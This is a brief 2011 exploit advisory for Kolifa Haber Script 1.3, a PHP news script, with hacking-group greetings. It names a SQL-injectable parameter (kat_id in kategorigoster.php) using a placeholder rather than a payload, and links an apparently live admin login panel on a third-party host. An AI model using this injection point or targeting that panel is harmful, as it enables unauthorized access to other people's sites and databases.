Kolifa Haber Script 1.3 SQL Injection

# Exploit Title: Kolifa Haber Script 1.3 SQL
# Date: 08.10.2011 - 20:36

# Author: Mr.PaPaRoSSe

# Download Script: http://scripti.org/demo.php?id=97
# Tested On: BackTrack 5 - Windows xp sp3
# Platform: Php
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

Vunl file : show.php

Exploit:

http://localhost/haber_pro/kategorigoster.php?kat_id=SQL injection

Panel:
http://haberpro.awardspace.com/haber_pro/admin/admingiris.php

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
# We attempted to work, you can not imagine.
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
# Contact: paparosse.blogspot.com
# Greetz: Http://DarkDevilz.in/
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
' 3spi0n ~# Black_Umo ALEXTRAX Brs_BaRoN ZyX x-Leader
L4NETLY GrayTendriL DARKCOD3R Santiq0 53rh4t PerS Mavi Karanlik Tarxes

[And DD'z Family]

[DarkDevilz - Defence And Destruction Group'z - TURKEY]
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>



http://packetstormsecurity.org/files/view/105624/kolifahaber-sql.txt